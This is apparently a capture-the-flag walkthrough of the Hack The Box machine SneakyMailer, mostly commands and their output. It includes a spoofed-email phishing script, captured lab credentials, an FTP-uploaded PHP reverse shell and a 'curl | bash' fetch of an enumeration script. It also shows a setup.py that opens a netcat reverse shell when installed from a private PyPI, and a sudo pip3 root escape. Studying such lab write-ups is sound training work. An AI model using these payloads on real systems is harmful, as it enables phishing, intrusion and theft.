Hackthebox Sneakymailer walkthrough
Recon
NMAP
roott@kali:~$ sudo nmap 10.10.10.197 -sV -sC -p- -A Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-27 05:55 EST Stats: 0:17:15 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 98.61% done; ETC: 06:12 (0:00:00 remaining) Nmap scan report for sneakycorp.htb (10.10.10.197) Host is up (0.98s latency). Not shown: 65528 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA) | 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA) |_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519) 25/tcp open smtp Postfix smtpd |_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, | ssl-cert: Subject: commonName=debian | Subject Alternative Name: DNS:debian | Not valid before: 2020-05-14T17:12:20 |_Not valid after: 2030-05-12T17:12:20 |_ssl-date: TLS randomness does not represent time 80/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: Employee - Dashboard 143/tcp open imap Courier Imapd (released 2018) |_imap-capabilities: STARTTLS THREAD=ORDEREDSUBJECT THREAD=REFERENCES QUOTA ACL CAPABILITY completed UTF8=ACCEPTA0001 IMAP4rev1 SORT ACL2=UNION NAMESPACE ENABLE CHILDREN UIDPLUS IDLE OK | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Subject Alternative Name: email:postmaster@example.com | Not valid before: 2020-05-14T17:14:21 |_Not valid after: 2021-05-14T17:14:21 |_ssl-date: TLS randomness does not represent time 993/tcp open ssl/imaps? |_imap-capabilities: THREAD=ORDEREDSUBJECT THREAD=REFERENCES QUOTA ACL CAPABILITY completed UTF8=ACCEPTA0001 IMAP4rev1 AUTH=PLAIN SORT ACL2=UNION NAMESPACE ENABLE CHILDREN UIDPLUS IDLE OK | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Subject Alternative Name: email:postmaster@example.com | Not valid before: 2020-05-14T17:14:21 |_Not valid after: 2021-05-14T17:14:21 |_ssl-date: TLS randomness does not represent time 8080/tcp open http nginx 1.14.2 |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: nginx/1.14.2 |_http-title: Welcome to nginx! No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=11/27%OT=21%CT=1%CU=40029%PV=Y%DS=2%DC=T%G=Y%TM=5FC0DF OS:4C%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=C)OP OS:S(O1=M54BST11NW7%O2=M54BST11NW7%O3=M54BNNT11NW7%O4=M54BST11NW7%O5=M54BST OS:11NW7%O6=M54BST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M54BNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F= OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5( OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z% OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C OS:D=S) Network Distance: 2 hops Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 1025/tcp) HOP RTT ADDRESS 1 219.86 ms 10.10.16.1 2 136.11 ms sneakycorp.htb (10.10.10.197) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1080.13 sec
That`s a big scan result. At the end of the scan you can see the domain so we need to add it. add sneakycorp.htb
to /etc/hosts file
Port 80
Let`s see what we can find.
It`s a pypi server Let`s check team and see what we can find
All e-mails of employees including ceo
Now we need to extract e-mails for the webpage, I used online email extractor tool. https://email-checker.net/extract
crtl+a to select all and copy them.
Paste them and click on extract email
Result
Now save it all in a fill name it emails
Phishing
We need to sned spoofed emails to check what we can get, I used swaks https://github.com/jetmore/swaks
➜ sneakymailer swaks --from "angelicaramos@sneakymailer.htb" --body "Test msg" --to angelicaramos@sneakymailer.htb === Trying sneakymailer.htb:25... === Connected to sneakymailer.htb. <- 220 debian ESMTP Postfix (Debian/GNU) -> EHLO m19o <- 250-debian <- 250-PIPELINING <- 250-SIZE 10240000 <- 250-VRFY <- 250-ETRN <- 250-STARTTLS <- 250-ENHANCEDSTATUSCODES <- 250-8BITMIME <- 250-DSN <- 250-SMTPUTF8 <- 250 CHUNKING -> MAIL FROM:<angelicaramos@sneakymailer.htb> <- 250 2.1.0 Ok -> RCPT TO:<angelicaramos@sneakymailer.htb> <- 250 2.1.5 Ok -> DATA <- 354 End data with <CR><LF>.<CR><LF> -> Date: Wed, 15 Jul 2020 22:56:30 -0400 -> To: angelicaramos@sneakymailer.htb -> From: angelicaramos@sneakymailer.htb -> Subject: test Wed, 15 Jul 2020 22:56:30 -0400 -> Message-Id: <20200715225630.013546@m19o> -> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/ -> -> Test msg -> -> -> . <- 250 2.0.0 Ok: queued as F3049248C8 -> QUIT <- 221 2.0.0 Bye === Connection closed with remote host.
Phishing script
import os def open_ressources(file_path): return [item.replace("\n", "") for item in open(file_path).readlines()] wordlist = open_ressources("emails") for emails in wordlist: print "\n[+]Sending email to " + emails command = 'swaks --from "angelicaramos@sneakymailer.htb" --body "http://10.10.14.24:8080" --to ' + emails + " > /dev/null" #print command os.system(command)
Result after running the script
➜ sneakymailer python spoof-msg.py [+]Sending email to airisatou@sneakymailer.htb [+]Sending email to angelicaramos@sneakymailer.htb [+]Sending email to ashtoncox@sneakymailer.htb [+]Sending email to bradleygreer@sneakymailer.htb
The response on listener
➜ m19o nc -nlvp 8080 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::8080 Ncat: Listening on 0.0.0.0:8080 Ncat: Connection from 10.10.10.197. Ncat: Connection from 10.10.10.197:48426. POST / HTTP/1.1 Host: 10.10.14.24:8080 User-Agent: python-requests/2.23.0 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Length: 185 Content-Type: application/x-www-form-urlencoded firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
So we found user : paulbyrd and the password we need to decode it Result after decoding
firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
So we Got mail: paulbyrd@sneakymailer.htb user: paulbyrd password: ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht Now i need to install evolution and enter the creds for smpt server 10.10.10.197 and the mail we found
mail 1 :
发件人: Paul Byrd paulbyrd@sneakymailer.htb 收件人: low@debian 主题: Module testing 日期: Wed, 27 May 2020 13:28:58 -0400 Hello low Your current task is to install, test and then erase every python module you find in our PyPI service, let me know if you have any inconvenience.
mail 2 :
发件人: Paul Byrd paulbyrd@sneakymailer.htb 收件人: root root@debian 主题: Password reset 日期: Fri, 15 May 2020 13:03:37 -0500 (2020年05月15日 14时03分37秒) Hello administrator, I want to change this password for the developer account Username: developer Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C Please notify me when you do it
FTP login
➜ m19o ftp sneakymailer.htb Connected to sneakymailer.htb. 220 (vsFTPd 3.0.3) Name (sneakymailer.htb:prashant): developer 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp>
dev
ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxrwxr-x 8 0 1001 4096 Jul 15 22:30 dev 226 Directory send OK. ftp>
ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 May 26 19:52 css drwxr-xr-x 2 0 0 4096 May 26 19:52 img -rwxr-xr-x 1 0 0 13742 Jun 23 09:44 index.php drwxr-xr-x 3 0 0 4096 May 26 19:52 js drwxr-xr-x 2 0 0 4096 May 26 19:52 pypi drwxr-xr-x 4 0 0 4096 May 26 19:52 scss -rwxr-xr-x 1 0 0 26523 May 26 20:58 team.php drwxr-xr-x 8 0 0 4096 May 26 19:52 vendor 226 Directory send OK. ftp>
let`s try to upload reverse shell and execute it
ftp> put shell.php local: shell.php remote: shell.php 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. 5492 bytes sent in 0.00 secs (59.5179 MB/s)
i tried to execute it at http://sneakycorp.htb/shell.php but did work so i checked if dev is subdomain
Lol, it is a subdomain that was easy. You can use a lot of tools to get subdomain and you can be lucky 😂 let`s upload the shell and execute it from http://dev.sneakycorp.htb/shell.php
Shell
➜ m19o rlwrap nc -nlvp 1234 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 10.10.10.197. Ncat: Connection from 10.10.10.197:41628. Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux 00:10:18 up 26 min, 0 users, load average: 0.04, 0.10, 0.09 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) bash: cannot set terminal process group (715): Inappropriate ioctl for device bash: no job control in this shell www-data@sneakymailer:/$
It worked and we got in as www-data let`s us SU to switch to developer user we found
www-data@sneakymailer:/$ su developer su developer Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C developer@sneakymailer:/$
i found 2 users
developer@sneakymailer:/home$ ls ls low vmail
Can`t get the user hash so let`s try to enumerate by Linenum.sh/p>
developer@sneakymailer:/tmp$ curl http://10.10.14.24:8080/LinEnum.sh | bash curl http://10.10.14.24:8080/LinEnum.sh | bash % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 46476 57 26729 0 0 12519 0 0:00:03 0:00:02 0:00:01 12525476 100 46476 0 0 18908 0 0:00:02 0:00:02 --:--:-- 18908 ######################################################### # Local Linux Enumeration & Privilege Escalation Script # ######################################################### # www.rebootuser.com # version 0.981 [-] Debug Info [+] Thorough tests = Disabled
we found password at .htpasswd
[-] htpasswd found - could contain passwords: /var/www/pypi.sneakycorp.htb/.htpasswd pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Let`s crack it
➜ m19o john hash -w=/usr/share/wordlists/rockyou.txt Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 5 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status soufianeelhaoui (pypi) 1g 0:00:00:12 DONE (2020-07-16 00:43) 0.07757g/s 277312p/s 277312c/s 277312C/s souheib2..sottod Use the "--show" option to display all of the cracked passwords reliably Session completed
Remember the mail we got for low user
Hello low Your current task is to install, test and then erase every python module you find in our PyPI service, let me know if you have any inconvenience.
Building the package
https://pypi.org/project/pypiserver/#upload-with-setuptools
https://packaging.python.org/tutorials/packaging-projects/
https://packaging.python.org/guides/distributing-packages-using-setuptools/
i have to make two files
- .pypirc
- setup.py
The file .pypirc
will give me authority and setup.py will be contain the package
.pypirc
[distutils] index-servers = local [local] repository: http://pypi.sneakycorp.htb:8080 username: pypi password: soufianeelhaoui
setup.py will contain the reverse shell
import setuptools import os if os.getuid() == 1000: os.system('nc -e /bin/bash 10.10.17.16 2345') setuptools.setup( name='sample', version='1.2.0', description='A sample Python project', long_description="long_description", long_description_content_type='text/x-rst', url='https://github.com/pypa/sampleproject', author='A. Random Developer', author_email='author@example.com', license='MIT', packages=setuptools.find_packages(), install_requires=['peppercorn'], )
id : 1000 belongs to user "Low" , the file will be executed twice
- Developer will run it
- Low will run it too to test it
So i want the shell as "low",let`s nc and upload the files to execute it
developer@sneakymailer:/tmp$ wget -r --no-parent http://10.10.17.16:8080/pypi-pkg <get -r --no-parent http://10.10.17.16:8080/pypi-pkg --2020-07-16 01:06:23-- http://10.10.17.16:8080/pypi-pkg Connecting to 10.10.17.16:8080... connected. HTTP request sent, awaiting response... 301 Moved Permanently Location: /pypi-pkg/ [following] --2020-07-16 01:06:24-- http://10.10.17.16:8080/pypi-pkg/ Connecting to 10.10.17.16:8080... connected. HTTP request sent, awaiting response... 200 OK Length: 294 [text/html] Saving to: ‘10.10.17.16:8080/pypi-pkg’ 10.10.14.24:8080/py 100%[===================>] 294 --.-KB/s in 0s 2020-07-16 01:06:25 (23.1 MB/s) - ‘10.10.17.16:8080/pypi-pkg’ saved [294/294] --2020-07-16 01:06:26-- http://10.10.17.16:8080/pypi-pkg/.pypirc Connecting to 10.10.17.16:8080... connected. HTTP request sent, awaiting response... 200 OK Length: 128 [application/octet-stream] Saving to: ‘10.10.17.16:8080/pypi-pkg/.pypirc’ 10.10.14.24:8080/py 100%[===================>] 128 --.-KB/s in 0s 2020-07-16 01:06:26 (10.6 MB/s) - ‘10.10.17.16:8080/pypi-pkg/.pypirc’ saved [128/128] --2020-07-16 01:06:28-- http://10.10.17.16:8080/pypi-pkg/setup.py Connecting to 10.10.17.16:8080... connected. HTTP request sent, awaiting response... 200 OK Length: 480 [text/plain] Saving to: ‘10.10.14.24:8080/pypi-pkg/setup.py’ 10.10.14.24:8080/py 100%[===================>] 480 --.-KB/s in 0s 2020-07-16 01:06:29 (45.9 MB/s) - ‘10.10.17.16:8080/pypi-pkg/setup.py’ saved [480/480]
developer@sneakymailer:/tmp/10.10.14.24:8080$ ls ls pypi-pkg
developer@sneakymailer:/tmp/10.10.14.24:8080/pypi-pkg$ ls -a ls -a . .. .pypirc setup.py
Executing the package
Setting the path to current dir
developer@sneakymailer:/tmp/10.10.17.16:8080/pypi-pkg$ HOME=`pwd`
Running setup.py
developer@sneakymailer:~$ python3 setup.py sdist register -r local upload -r local <n3 setup.py sdist register -r local upload -r local running sdist running egg_info creating sample.egg-info writing sample.egg-info/PKG-INFO writing dependency_links to sample.egg-info/dependency_links.txt writing requirements to sample.egg-info/requires.txt writing top-level names to sample.egg-info/top_level.txt writing manifest file 'sample.egg-info/SOURCES.txt' reading manifest file 'sample.egg-info/SOURCES.txt' writing manifest file 'sample.egg-info/SOURCES.txt' warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md running check creating sample-1.2.0 creating sample-1.2.0/sample.egg-info copying files to sample-1.2.0... copying setup.py -> sample-1.2.0 copying sample.egg-info/PKG-INFO -> sample-1.2.0/sample.egg-info copying sample.egg-info/SOURCES.txt -> sample-1.2.0/sample.egg-info copying sample.egg-info/dependency_links.txt -> sample-1.2.0/sample.egg-info copying sample.egg-info/requires.txt -> sample-1.2.0/sample.egg-info copying sample.egg-info/top_level.txt -> sample-1.2.0/sample.egg-info Writing sample-1.2.0/setup.cfg creating dist Creating tar archive removing 'sample-1.2.0' (and everything under it) running register Registering sample to http://pypi.sneakycorp.htb:8080 Server response (200): OK WARNING: Registering is deprecated, use twine to upload instead (https://pypi.org/p/twine/) running upload Submitting dist/sample-1.2.0.tar.gz to http://pypi.sneakycorp.htb:8080 Server response (200): OK WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
User flag!.
➜ sneakymailer rlwrap nc -nlvp 2345 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::2345 Ncat: Listening on 0.0.0.0:2345 Ncat: Connection from 10.10.10.197. Ncat: Connection from 10.10.10.197:45674. python -c "import pty;pty.spawn('/bin/bash')" low@sneakymailer:/$ whoami whoami low
low@sneakymailer:~$ cat user.txt cat user.txt a5b----------------------------a9
Root flag!.
Privilege escalation
low@sneakymailer:~$ sudo -l sudo: unable to resolve host sneakymailer: Temporary failure in name resolution Matching Defaults entries for low on sneakymailer: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User low may run the following commands on sneakymailer: (root) NOPASSWD: /usr/bin/pip3
Go tohttps://gtfobins.github.io/gtfobins/pip/and search for pip
TF=$(mktemp -d) echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py pip install $TF
low@sneakymailer:~$ TF=$(mktemp -d) low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py low@sneakymailer:~$ sudo pip3 install $TF
low@sneakymailer:~$ sudo pip3 install $TF sudo: unable to resolve host sneakymailer: Temporary failure in name resolution Processing /tmp/tmp.tQid5dJuNf # bash root@sneakymailer:/tmp/pip-req-build-9k8kjhct# whoami root
And we are “ROOT”!.
root@sneakymailer:~# cat root.txt
11----------------------------ff
root@sneakymailer:~#
Thanks for Reading 🙏
This post is licensed under CC BY 4.0 by the author.